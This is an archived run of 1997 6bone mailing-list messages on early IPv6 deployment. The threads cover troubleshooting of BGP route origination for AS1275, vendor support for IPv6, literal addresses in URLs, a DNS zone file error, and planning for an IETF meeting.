( AS Path: 1103 1890 )
3ffe:2500::/24                                    CICNET      15 BGP            
( AS Path: 1225 1849 1890 )
3ffe:2500::/24                                        G6      15 BGP            
( AS Path: 1717 1103 1890 )
3ffe:2500::/25                                    SWITCH      50 BGP            
3ffe:2500::/32                                   SURFNET      10 BGP            
( AS Path: 1103 1890 )
3ffe:2500::/32                                    CICNET      15 BGP            
( AS Path: 1225 1849 1890 )
3ffe:2500::/32                                        G6      15 BGP            
( AS Path: 1717 1103 1890 )
3ffe:2600::/24                                   SURFNET      10 BGP            
( AS Path: 1103 3274 )
3ffe:2600::/24                                    CICNET      15 BGP            
( AS Path: 1225 1103 3274 )
3ffe:2600::/24                                        G6      15 BGP            
( AS Path: 1717 1103 3274 )



From majordom@ISI.EDU  Mon Oct 20 07:03:39 1997
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Received: by mail52.mitretek.org; (5.65v3.2/1.1.8.2/22Jun94-0628PM) id AA15367; Mon, 20 Oct 1997 11:03:40 -0400
Subject: Re: Some questions.
From: chong@mail52.mitretek.org (Chongeun Lee)
To: Aad.van.der.Zanden@nc3a.nato.int (Aad van der Zanden),
        martynas@vingis.sc-uni.ktu.lt (Martynas Buozis), 6bone@ISI.EDU
Message-Id: <971020110339.9585@mail52.mitretek.org.0>
Date: Mon, 20 Oct 97 11:03:39 -0400
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Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

My experience with cisco in that regard.
The response to my request past these months for any information on their IPv6
status and product (even  in alpha or beta version) has been that it would be
available this fall.  Yet, I see some people from this mailing list who have
been using cisco's IPv6 version for quite some time.
Interesting.

Chongeun


>At 09:07 PM 10/19/97 +0300, Martynas Buozis wrote:
>
>>Dear sirs,
>
>>
>
>>I have some questions and hope, that you will help me.
>
>>
>
>>1. Some time ago, as I remember, on the ticl.co.uk IPv6 Web Page
>
>>http://www.ipv6.ticl.co.uk/ I found a possibility to order The IPv6
>
>>Resource Kit on CDROM. But when I decided to subscribe it I found, that
>
>>this page isn't reachable now. I was trying for one week to get on it. 
>
>>Maybe someone can give me another address of that company - I want order
>
>>CD's about IPv6 and security. Maybe I am looking on wrong address or
>
>>company ? 
>
>>
>
>>2. I wrote several times to Mr. Martin McNealis form CISCO (mail address
>
>>mmcnealis@cisco.com) asking for help about implementing IPv6 on CISCO
>
>>routers, but two months there are no answer from him. Maybe you can advice
>
>>someone who can help me with IPv6 on CISCO routers ?
>
>>
>
>
>Join the crowd ...
>
>I have also tried triggering him several times.
>
>Although I have verbally been promised to get some Cisco ip6 images
>
>I have had no responses at all from three attempts to mmcnealis@cisco.com
>
>and a Cc: to the manager of Cisco IOS product Market also resulted in 
>
>the sound of silence.
>
>It looks like Cisco has a selective market for ip6 ... :-(
>
>( maybe this one triggers some attention...)
>
>
>Aad
>
>
>>
>
>>
>
>>
>
>>
>
><bigger>quote: "If a trainstation is where the train stops, a
>
>            busstation is where the bus stops, then a
>
>            workstation is where......."		
>
>==================================================================
>
>// Aad van der Zanden                      	| POSTAL ADDRESS:	
>
>// Communications Systems Division         	|			
>
>// NATO C3 Agency                          	| NATO C3 Agency	
>
>// Email : Aad.van.der.Zanden@nc3a.nato.int	| P.O. BOX 174		
>
></bigger>// Phone  : +31 (0)70 3142440                    	| 2501 CD  The
>Hague	
>
>// Fax    : +31 (0)70 3142176                     	|The Netherlands	
>
>============================================================================
>
> NEW NEW   	H320 compliant video phone #31 070 3148107   NEW NEW NEW
>
>============================================================================
>
>


From majordom@ISI.EDU  Mon Oct 20 04:14:12 1997
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Date: Mon, 20 Oct 1997 11:14:12 -0700 (PDT)
Message-Id: <199710201814.LAA02685@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: JOIN Project Team <join@uni-muenster.de>
Cc: 6bone@ISI.EDU
Subject: Re: as1275
In-Reply-To: <Pine.SOL.3.96.971020123548.23955A-100000@SOLARIX1.UNI-MUENSTER.DE>
References: <199710190949.CAA02415@pedrom-ultra.cisco.com>
	<Pine.SOL.3.96.971020123548.23955A-100000@SOLARIX1.UNI-MUENSTER.DE>
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>>>>> "Guido" == JOIN Project Team <ipng@uni-muenster.de> writes:

    Guido> Hi Pedro,

    Guido> On Sun, 19 Oct 1997, Pedro Marques wrote:

    Guido> AS1275 is registered (in the RIPE db) as "DFN-IP service
    Guido> and DFN customer networks". We use it for our IPv6 JOIN
    Guido> project (it is an DFN project).

There should be only one entry for as1275 in the 6bone registry. That would
make figuring out the right site much easier.

    >> What i don't really understand is why, if all the sites share
    >> the same AS, aren't they all under the same prefix which can be
    >> cleanly annouced. And if there is a good reason why this can't
    >> be done then perhaps they shoulnd't be in the same AS...

    Guido> All IPv6 sites using AS1275 should have the same prefixes
    Guido> 3ffe:400::/24 or 5f04:fb00::/32. In general these are
    Guido> German sites like Universities.

Good.

    Guido> For these two prefixes we do BGP route aggregation, so i
    Guido> wonder if you see more and/or longer prefixes *originated*
    Guido> at JOIN.

Like i mentioned in my previous message i see close to the full routing
table *originating* at as1275.

    Guido> These days i discussed similar problems with Guy
    Guido> (UUNET-UK). He also received a lot of routes which should
    Guido> be originated by JOIN according to his routing table. Now
    Guido> this seems to be the case also at your site :-(

    Guido> When i examine our routing table i find for all the routes
    Guido> (which you claim as "tons of doubtable information"), a
    Guido> source from which our router gets them.

The important thing would be to figure out what your router annouces. Either
misconfiguration or software bug, it would be nice to figure out the problem.

    Guido> I wonder why your routing table mentions AS1275 as
    Guido> originator of all these routes.

We have no problems whatsoever with routes from any other sites. I pretty
much doubt those path are "invented" along the way.

    Guido> What does "i" (IGP) as origin code mean in your routing
    Guido> table?
It is the value of the BGP origin attribute (check rfc 1771).

    Guido>   Does it mean that these routes are learned via
    Guido> RIPng at our site?

The value of that attribute is set by the originator of a bgp annoucement.

    Guido>   I believe there should be "e"'s (EGP),
    Guido> because we got these routes via BGP from other sites.

I believe that is not too relevant at the moment. The important thing is to
figure out how to solve the problem.
 
    Guido> Some of your routes specify "?" (incomplete) as source of
    Guido> (our?)  information: when i check these routes i get
    Guido> "BGP-INCOMPLETE" in our routing table. That means, that
    Guido> this route is learned via BGP from our router, but has not
    Guido> a complete BGP path to the originator of the prefix -
    Guido> e.g. there is some RIPng or static routing inbetween.

No, it doesn't mean anything close to that.

    Guido> I did not find a default route in our table. Maybe this
    Guido> route was visible at the time you examined your table - but
    Guido> i am quite sure that we are *not* the originator of a
    Guido> default route (hopefully i am right ;-)

I really hate to disappoint you but that seems to me to be the most probable
alternative at the moment. The others would be for the AS path you are
annoucing to get truncated by one of your peers, or having someone else
using your as #.

  Pedro.

From majordom@ISI.EDU  Mon Oct 20 20:45:48 1997
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From: "Patrik Graeser" <patrikg@edu.jonkoping.se>
To: brian@hursley.ibm.com
Date: Mon, 20 Oct 1997 20:45:48 +0000
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Subject: Re: Literal addresses in URLs - 'splain to me
Cc: 6bone@ISI.EDU
Priority: normal
In-Reply-To: <9710200825.AA15774@hursley.ibm.com>
References: <9710181537.AA14668@wasted.zk3.dec.com> from "bound@zk3.dec.com" at Oct 18, 97 11:37:26 am
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> Right, this is *exactly* what we have to decide about.
> Are there any operational situations where fixing DNS *requires*
> web access?
> 
>   Brian
> 
> >- bound@zk3.dec.com said:
> > 
> > 
> > >However the fact is that when there is a catastrophic operational
> > >problem with DNS, there can be cases where the *only* way to
> > >repair the network is by using literal addresses, either to
> > >send mail to another site, or to access remote systems -
> > >and URLs are one of the ways we access remote systems these days.
> > >So while I stick to the deprecation of literal addresses that is
> > >in RFC 1900, I regretfully feel that we need them as emergency backup.
> > 
> > A valid point.  But I don't see repairing DNS using URLs.  No one is
> > saying you can't use IPv6 addresses in this input.  Just we don't need
> > them for URLs.  They work fine now with FTP, Telnet, etc..
> > 
> > /jim
> > 
>
In todays "way to work" a lot of admin is done using web...
Some machines *require* admin to take place over web since that is the
primary interface... Some just use admin over web since that is the
"easy" way and they don't know enough to do otherwise!

Don't flame me if I'm wrong but...

In the SUN Netra I use(d to use) for primary DNS/mail exchanger the
only way to make changes AND be sure they stick during the next reboot
is to use the supplied web-based admin tools! Since the tools are
there and a lot of administrators don't know enough to do things 
otherwise there should be ways to use the tools (from an location 
other than the console) even if the DNS is totaly gone!

//Patrik Graeser
----------------------------------------------------
Chief network administrator, educational net's
the IT-management unit, SBF, Jonkopings kommun
E-mail (preferred): patrikg@edu.jonkoping.se
----------------------------------------------------

From 6bone-owner  Wed Oct 22 21:48:09 1997
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Date: Wed, 22 Oct 1997 21:47:33 -0700 (PDT)
Message-Id: <199710230447.VAA03988@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: JOIN Project Team <join@uni-muenster.de>
Cc: 6bone@ISI.EDU, Alexis Yushin <alexis@NL.net>, Herluf Hansen <hha@tbit.dk>,
        simon@switch.ch
Subject: Re: as1275
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>>>>> "Guido" == JOIN Project Team <join@uni-muenster.de> writes:

    Guido> Hi,

    Guido> i asked Herluf Hansen (Telebit) to help us solving our
    Guido> common serious routing problem. Herluf examined our routing
    Guido> tabel and configuration in detail (thanks!) and presumed
    Guido> that our problem is caused by our BGP4+ tunnel to SWITCH. He
    Guido> said that is seems that SWITCH advertises the prefixes with
    Guido> an empty AS path.
    Guido>  When these prefixes are redistributed (by
    Guido> JOIN) 1275 is added to the AS path and that is the reason
    Guido> why it looks as if the prefixes belong to AS 1275.

Somehow i find that explanation unprobable... (not impossible but it does
seem unlikely). Switch (as559) does have one annoucement (5F04:B500::0/32)
which has as second hop as1717 and as1717 doesn't show any strange behaviour.
Also the data you supplied bellow seems to contradict this statement.

    Guido> I checked the BGP statistics to all our BGP4+ peers and only
    Guido> on the tunnel to SWITCH we have a huge among of AS loops
    Guido> (nearly every bgp msg in seems to cause a loop):

When you have a loop this means that the neighbor choose as best path a path
that as your AS in it... just that. For instance both switch and join have
a tunnel to G6... G6 may send switch paths which include your as, if switch
picks this path as best path (because you have not annouced it or because
a route is going down and it hasn't receive the withdrawn from the other
side) it'll annouce that path to you. BGP prevents the loop formation by
rejecting that path. This is just BGP doing it's thing...

But what this does show is that switch doesn't send you prefixes with an
empty AS path (empty AS paths are not in loop).

> BGP statistics at 1997-10-22 09:59:32, epoch is   0 days, 00:49:56
>  Bgp ups:                           1
>  Bgp backws:                        0
>  Bgp upd msg in:                62074
>  Bgp upd msg out:                 506
>  Bgp msg in:                    62176
>  Bgp msg out:                     583
>  Bgp notific in:                    0
>  Bgp notific out:                   0
>  AS loops:                      61921
>  Invalid Nexhops:                   0


    Guido> I stopped our BGP session to SWITCH for now.

It didn't solve the problem... I cleared the filters in one of my sessions
and i see as1275 annoucing a full bunch of routes.
BGP IPv6 table version is 8215, local router id is 192.31.7.217
Status codes: * - valid, > - best, i - internal
Origin codes: i - IGP, e - EGP, ? - incomplete

  3FFE:301:DEC1::0/48
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:400::0/24
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:604:2::0/48
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:700:20:1::14/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  3FFE:7C0:40::0/48
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:D01::4/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:DFE:1::4/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:DFE:1::8/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:DFE:1::C/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:DFE:FFFE::4/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:DFE:FFFE::8/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1300::0/24
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1400::0/24
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1500::FFFE:0:0:0/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1500::FFFE:0:0:4/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1500::FFFE:0:0:8/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1500::FFFE:0:0:C/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1500::FFFE:0:0:10/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1500::FFFE:0:0:14/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1500::FFFE:0:0:1C/126
         *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
[...] and so on...

    Guido> Please can you all check whether the problem has
    Guido> disappeared.

Nope... It is still there...

  Pedro.


From 6bone-owner  Thu Oct 23 06:50:45 1997
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A recent (22oct97) change in maillist software has triggered
a "feature" such that no mail from the list has been archived 
since the change.  It is being worked on.

-- 
--bill

From 6bone-owner  Thu Oct 23 08:28:58 1997
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From: JOIN Project Team <ipng@uni-muenster.de>
Reply-To: JOIN Project Team <join@uni-muenster.de>
To: Pedro Marques <roque@cisco.com>
cc: JOIN Project Team <join@uni-muenster.de>, 6bone@ISI.EDU,
        Alexis Yushin <alexis@NL.net>, Herluf Hansen <hha@tbit.dk>,
        simon@switch.ch, Masaki Hirabaru <masaki@merit.edu>,
        Guy Davies <guyd@uk.uu.net>, Juergen Rauschenbach <jrau@dfn.de>,
        bertrand.buclin@ch.att.com
Subject: Re: as1275
In-Reply-To: <199710230447.VAA03988@pedrom-ultra.cisco.com>
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Hi Pedro, hi 6bone folks,

On Wed, 22 Oct 1997, Pedro Marques wrote:

>     Guido> Please can you all check whether the problem has
>     Guido> disappeared.
> 
> Nope... It is still there...
> 
>   Pedro.

:-( 

Ok. Let us test whether the reduction of our among of bgp4+ tunnels will
help: 

I temporarily stopped all our bgp4+ sessions execept the ones to G6,
CICNET and TELEBIT.

Please can you check your routing tables again.

If that won't help i will test strong bgp filters on all our tunnels. But
first i like to know whether it is better now... 

All the best
- Guido

------------------------------------------------------------------------------
JOIN -- IP Version 6 in the WiN   Guido Wessendorf
        A project of DFN          Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Universitaetsrechenzentrum
           join@uni-muenster.de   Einsteinstrasse 60
http://www.join.uni-muenster.de   D-48149 Muenster / Germany

phone: +49 251 83 31639, fax: +49 251 83 31653, email: wessend@uni-muenster.de
------------------------------------------------------------------------------




From 6bone-owner  Fri Oct 24 09:53:54 1997
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have been fixed.


-- 
"Are you trying to tell us that you get up incredibly early, just to spend an
hour reading news and not having any breakfast? [...] I'm aghast that any
human being would ever leave the sweet arms of Morpheus, unless forced to by
powers beyond his control."  - Dan Sorenson

From 6bone-owner  Mon Oct 27 10:24:28 1997
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From: "Mosthav, Marc (IT Man.)" <MOSTHAVM@plcman.siemens.co.uk>
To: "'6Bone List'" <6bone@ISI.EDU>
Subject: DNS???
Date: Mon, 27 Oct 1997 18:27:00 -0000
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Hi all,

I am giving up, I'm trying to set up my DNS to work but I get all sorts
of strange error messages. Just as an example here is my named.hosts and
the error messages. Does anybody have any ideas - I am starting to get
rather desperate ;-)

named.hosts:
---------------------------------------------------------------
;etc/named.hosts
@	IN SOA	nsv6.ipv6.siemens.co.uk (
	19971027 	; serial
	12H		; refresh twice a day
	15M		; retry after 15 minutes
	1W		; expire after 42 days
	1D		; minimum is 1 day
	)
	IN NS	nsv6.ipv6.siemens.co.uk.
	IN MX 	5 mail.ipv6.siemens.co.uk.
;
manpc900v6 	IN AAAA 3ffe:1f00:0002:0001:0040:1cFF:FE60:D829	
		IN HINFO "Linux IPv6 test" "V2.1.59"
win95v6 	IN AAAA 3ffe:1f00:0002:0001::e81a:112	
---------------------------------------------------------------

ERROR MESSAGES???
---------------------------------------------------------------
Oct 27 19:15:23 manpc900v6 named[708]: named.hosts: WARNING SOA expire
value is
less than SOA refresh+retry (0 < 2+43200)
Oct 27 19:15:23 manpc900v6 named[708]: named.hosts: WARNING SOA expire
value is
less than refresh + 10 * retry (0 < (2 + 10 * 43200))
Oct 27 19:15:23 manpc900v6 named[708]: named.hosts: WARNING SOA expire
value is
less than 7 days (0)
Oct 27 19:15:23 manpc900v6 named[708]: named.hosts: WARNING SOA refresh
value is less than 2 * retry (2 < 43200 * 2)
Oct 27 19:15:23 manpc900v6 named[708]: named.hosts:6: Database error ()
Oct 27 19:15:23 manpc900v6 named[708]: named.hosts:7: Database error ()
Oct 27 19:15:23 manpc900v6 named[708]: named.hosts: Line 8: Unknown
type: ).
Oct 27 19:15:23 manpc900v6 named[708]: named.hosts:8: Database error ())
Oct 27 19:15:23 manpc900v6 named[708]: master zone "ipv6.siemens.co.uk"
(IN) rejected due to errors (serial 19971027)
---------------------------------------------------------------

Any help would be greatly appreciated.

Marc

From 6bone-owner  Mon Oct 27 10:32:59 1997
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To: "Patrik Graeser" <patrikg@edu.jonkoping.se>
Cc: brian@hursley.ibm.com, 6bone@ISI.EDU
Subject: Re: Literal addresses in URLs - 'splain to me 
In-Reply-To: Your message of "Mon, 20 Oct 1997 20:45:48 -0000."
             <199710201846.UAA09996@jkpadm.jonkoping.se> 
Date: Mon, 27 Oct 1997 13:25:34 -0500
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I administer several DNS machines.  I don't need WEB and when I do this
I am down in the nitty gritty of this beast.  Would someone state "1"
task that requires WEB interface or uses a WEB interface to do "real"
administration to DNS.  So far all I hear is nice to have????  

thanks
/jim

From 6bone-owner  Mon Oct 27 13:46:08 1997
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To: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>
Cc: "'bound@zk3.dec.com'" <bound@ZK3.DEC.COM>,
        "'Patrik Graeser'"	 <patrikg@edu.jonkoping.se>,
        "'brian@hursley.ibm.com'" <brian@hursley.ibm.com>,
        "'6bone@ISI.EDU'"	 <6bone@ISI.EDU>
Subject: Re: Literal addresses in URLs - 'splain to me 
In-Reply-To: Your message of "Mon, 27 Oct 1997 22:27:36 BST."
             <c=US%a=_%p=ATT%l=GVAMSX1-971027212736Z-235@eurdirsync.be.att.com> 
Date: Mon, 27 Oct 1997 16:34:54 -0500
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Bertrand,

Good response that is what I was looking to hear.  As an engineer I need
to hear things like this as I shut off all user interfaces when I am at
work except for what UNIX gives me naturally and Netscape of course.

I agree teaching them to put that in the URL box is much easier.

OK I agree with Brian Carpenter now.  

Sorry I did not take it at face value... Bertrand has changed my mind.

p.s. As a side comment seems like FTP may beccome deprecated in the
user world too?

/jim

From 6bone-owner  Tue Oct 28 03:50:29 1997
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Date: Mon, 27 Oct 1997 22:31:50 +0900
To: 6bone@ISI.EDU
From: kim yong sin <dragon@dcn.soongsil.ac.kr>
Subject: ipv6 web client
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DCN lab. SSU in KOREA, is implementing ipv6 in FreeBSD.
Then, We hope support WEB server/client to our ipv6.
Could you help?

We searching web client...



From 6bone-owner  Tue Oct 28 04:08:41 1997
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DCN lab. SSU in KOREA, is implementing ipv6 in FreeBSD.
Then, We hope support WEB server/client to our ipv6.
Could you help?

We searching web client...



From 6bone-owner  Tue Oct 28 07:16:43 1997
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Date: Tue, 28 Oct 1997 16:12:02 +0100
From: dauphin@sig.enst.fr (Gilles Dauphin)
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> From dragon@dcn.soongsil.ac.kr Tue Oct 28 15:58:13 1997
> 
> DCN lab. SSU in KOREA, is implementing ipv6 in FreeBSD.
> Then, We hope support WEB server/client to our ipv6.
> Could you help?
> 
> We searching web client...

Source code of ipv6 web client:
	ftp://sig.enst.fr/pub/multicast/mMosaic/mMosaic-3.2.0.tar.gz

You need lesstif and some graphical library.

you must adjust some paramters when compiling.

Good Luck,

Gilles

From 6bone-owner  Tue Oct 28 08:05:33 1997
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Subject: Re: How do I leave this list?
To: sjaumann@crcg.edu
Date: Tue, 28 Oct 1997 08:05:00 -0800 (PST)
Cc: 6bone@ISI.EDU
In-Reply-To: <01BCE391.50780FE0.sjaumann@crcg.edu> from "Shad J. Aumann" at Oct 28, 97 11:04:50 am
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> 
> Try as I may, I cannot seem to stop receiving emails from "6bone@isi.edu".  Can 
> somebody tell me how?  Thanks in advance.
> 
> Shad
> 
> Shad J. Aumann              | sjaumann@crcg.edu                       |
> Researcher, Fraunhofer CRCG | 401-453-6363 (x209)                     |
> 321 South Main Street       | 401-453-0444 (fax)                      |
> Providence, RI 02903 USA    | http://www.crcg.edu/Staff/sjaumann.html |
> 

Send your request to the list administrator not the list.

-- 
--bill

From 6bone-owner  Wed Oct 29 17:05:37 1997
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Date: Wed, 29 Oct 1997 17:05:24 -0800
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: FYI for Wash DC IETF 6bone/ngtrans scheduling
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This is to confirm two one-hour sessions for NGTRANS as follows:

        Tuesday, December 9 at 1300-1400 and 1415-1515
                (opposite urlreg, ssh, ippcp)

-

Bob



From 6bone-owner  Tue Nov  4 07:01:08 1997
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Date: Tue, 04 Nov 1997 17:05:10 +0100
To: 6bone@ISI.EDU
From: Aad van der Zanden <Aad.van.der.Zanden@nc3a.nato.int>
Subject: FTP Software
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Hi,

After several serious attempts ( 3 emails , 2 voicemailmessages ) &
One pager call, I have still not managed to get the product manager
for Onnet32 and IPv6 from FTP software.

Is there anyone out there on the 6bone that could provide me with answers
to questions like:

1) Is FTP software (Onnet32)& IPv6 still moving ahead with EUI64 support.
2) And does it actually work...

We have bought three sets of Onnet32 but haven't been able to get an IPv6
ping to respond 
Not very promising, right? Who knows more?..

Regards
	Aad.


From 6bone-owner  Tue Nov  4 08:00:22 1997
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Message-ID: <345F46B9.C24AEBFD@ollie.clive.ia.us>
Date: Tue, 04 Nov 1997 10:00:57 -0600
From: "Jeffrey C. Ollie" <jeff@ollie.clive.ia.us>
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To: 6bone@ISI.EDU
Subject: IPv6 in BayRS v12.00
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This is a cryptographically signed message in MIME format.

--------------ms6AEDFC52F4EE82F2F71368CE
Content-Type: multipart/mixed; boundary="------------D7F20AD1E9447FA1719EC5D5"

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Bay Networks recently released version 12.00 of their router software. 
One of the new features is IPv6 support.  Has anyone started using IPv6
support in BayRS (or even been using a prerelease version)?  Any
comments?

FYI, for more information see these two sections from the version 12
release notes:

<http://support.baynetworks.com/library/tpubs/html/router/soft1200/117400AA/A_13.HTM#HEADING13-45>

<http://support.baynetworks.com/library/tpubs/html/router/soft1200/117400AA/A_13.HTM#HEADING13-50>

And this manual on configuring IPv6 on Bay routers:

<http://support.baynetworks.com/library/tpubs/html/router/soft1200/118428AA/toc.htm>

Jeff
--------------D7F20AD1E9447FA1719EC5D5
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--------------ms6AEDFC52F4EE82F2F71368CE--


From 6bone-owner  Tue Nov  4 08:55:16 1997
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Date: Tue, 4 Nov 1997 08:54:36 -0800 (PST)
From: Tom Eastgard <eastgard@nwnet.net>
To: Aad van der Zanden <Aad.van.der.Zanden@nc3a.nato.int>
cc: 6bone@ISI.EDU
Subject: Re: FTP Software
In-Reply-To: <3.0.32.19971104170504.009cc7b0@mail.nc3a.nato.int>
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I thought I had a commitment from them to call with status and possibly
beta software this summer but never heard, so I'm not sure they're
serious about it.  Please let me know if you do make successful contact.

Tom N. Eastgard, Mgr			"Perfection is our goal;
Network Engineering			Excellence will be tolerated."
NorthWestNet
Ph: 425.649.7414			Page: 206.917.0647

On Tue, 4 Nov 1997, Aad van der Zanden wrote:

> Hi,
> 
> After several serious attempts ( 3 emails , 2 voicemailmessages ) &
> One pager call, I have still not managed to get the product manager
> for Onnet32 and IPv6 from FTP software.
> 
> Is there anyone out there on the 6bone that could provide me with answers
> to questions like:
> 
> 1) Is FTP software (Onnet32)& IPv6 still moving ahead with EUI64 support.
> 2) And does it actually work...
> 
> We have bought three sets of Onnet32 but haven't been able to get an IPv6
> ping to respond 
> Not very promising, right? Who knows more?..
> 
> Regards
> 	Aad.
> 
> 


From 6bone-owner  Wed Nov  5 14:12:36 1997
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From: Ben Kirkpatrick <ben@ibs-us.net>
Reply-To: kirk@teleport.com
To: peter@bieringer.de
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Subject: Your IPv6 Test Address Worksheet... (fwd)
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   This is a valid point.  But as I no longer work for IBS or have access 
to anything but email, I have my hands tied on this one.  For now it 
would be best to unlink the page and have someone build a new one.  I'll 
try and get the cgi so that someone else can re-write it.  If fact, it 
sounded like Peter was volunteering.

Sorry for the inconvenience,
--Ben Kirkpatrick

---------- Forwarded message ----------
Date: Tue, 04 Nov 1997 21:32:25 +0100
From: Peter Bieringer <peter@bieringer.de>
To: ben@ibs-us.net
Subject: Your IPv6 Test Address Worksheet...

...is now out of date!

Hello,

the 6bone has migrated to Aggregatable Global Unicast addresses. Provider
Based addresses are now out of date and no longer routed.

So you should change your page
	http://www.ibs-us.net/ipv6/ipv6-addr.html

which is linked in
	http://www.6bone.net/6bone_tools.html

Peter

---
***************************************************************
* Peter Bieringer           eMail: mailto:pb@bieringer.de     *
* Diplom-Physiker (Univ.)   WWW:   http://www.bieringer.de/pb *
*                                                             *
* ++49-89-36109686 (Private)    ++49-89-6004-4045 (Office)    *
*        -36109687 (Workroom)               -3532 (Labor)     *
*        -36109689 (Facsimile)              -3877 (Facsimile) *
***************************************************************


From 6bone-owner  Thu Nov  6 17:49:15 1997
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Date: Thu, 6 Nov 1997 17:49:08 -0800
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: call for agenda items for December ngtrans-6bone IETF meeting
Cc: Tony Hain <tonyhain@microsoft.com>, Bob Gilligan <gilligan@freegate.net>
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6bone Folk,

Please send me any agenda items you may have for the 6bone meeting in
Washington.  To the list, please.

So far I think we should discuss:

1. conversion to Aggregation-based addressing on the 6bone

2. address delegation and the 6bone registry

3. 6bone backbone peering arrangements

4. what's the next step after conversion?

5. general operational issues


Thanks,

Bob



From 6bone-owner  Thu Nov  6 22:32:54 1997
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From: Ben Crosby <bc@ecs.soton.ac.uk>
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Bob,

> 3. 6bone backbone peering arrangements

Peering agreements are something that need to be looked at not only at a 
backbone level, but also by individual sites. With the move to Agg-based 
adressing, perhaps we should really be looking at dropping a large 
number of site to site peers, where the physical network does not exist ?

I know that Guy Davies presented such a proposal at Munich for the UK, 
unfortunately there hasn't been an awful lot of activity from many of the 
UK sites over the Summer, as a large number are academic.
 
> 4. what's the next step after conversion?

Some realistic network use perhaps ? I dont know what people are doing 
with their IPv6 networks, apart from interop and testing, but how about 
looking at getting some of your information up on IPv6 web servers, and 
creating a few ipv6.* newsgroups, so we can put some nntp/www traffic 
over all these tunnels, and the few native links that exist ? 
 
Just my $0.02 =)

Ben.

From 6bone-owner  Fri Nov  7 09:27:09 1997
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To: Ben Crosby <bc@ecs.soton.ac.uk>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: call for agenda items for December ngtrans-6bone IETF meeting
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Ben,

At 10:28 PM -0800 11/6/97, Ben Crosby wrote:
>Bob,
>
>> 3. 6bone backbone peering arrangements
>
>Peering agreements are something that need to be looked at not only at a
>backbone level, but also by individual sites. With the move to Agg-based
>adressing, perhaps we should really be looking at dropping a large
>number of site to site peers, where the physical network does not exist ?
>
>I know that Guy Davies presented such a proposal at Munich for the UK,
>unfortunately there hasn't been an awful lot of activity from many of the
>UK sites over the Summer, as a large number are academic.

I definitely agree, and hope someone will offer to address this subject.
Alain Durand did so before, maybe he will do so again.

*** Any other folk willing to talk on this one?


>> 4. what's the next step after conversion?
>
>Some realistic network use perhaps ? I dont know what people are doing
>with their IPv6 networks, apart from interop and testing, but how about
>looking at getting some of your information up on IPv6 web servers, and
>creating a few ipv6.* newsgroups, so we can put some nntp/www traffic
>over all these tunnels, and the few native links that exist ?
>
>Just my $0.02 =)

Good input.  Will add it to the list.


Thanks,

Bob



From 6bone-owner  Fri Nov  7 09:27:12 1997
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Date: Fri, 7 Nov 1997 18:15:00 +0100
From: Grossenbacher Walter <b20gross@isbe.ch>
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Subject: Problems connecting 6bone using Digital UNIX
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This is a multi-part message in MIME format.

--------------52BF623163DE
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi !

I have the following problem:

We use an Alphastation200 eith an additional DE450 running Digital Unix
where we installed the X6.1 IPv6 binary Kit. We use this station as a
router. We like to connect our site via SWITCH to the 6bone. After
spending quite a lot of time, we got the status as described in the
attachment.

My questions are : Is it possible to add static routes ?
                   How do I have to do it ??

Thank's for your assistance!

Regards

Walter

--------------52BF623163DE
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	<199711071311.OAA02976@babar.switch.ch>
	<97Nov7.143643gmt+0100.36865@limes.isbe.ch>
	<199711071353.OAA07241@babar.switch.ch>
	<97Nov7.155310gmt+0100.36865@limes.isbe.ch>
X-Mailer: VM 6.34 under Emacs 20.2.1
Date: Fri, 7 Nov 1997 16:27:20 +0100

> It's a real Problem! Digital uses the IPv4 adresses as tunnel
> endpoints!  The next Hop for a route will be the ::IPv4 address. So
> I have to set up the default route as follows:
> 
> #route add -inet6 3ffe::/16 ::130.59.15.6 -interface -cloning
> #route add -inet6 5f00::/8 ::130.59.15.6 -interface -cloning

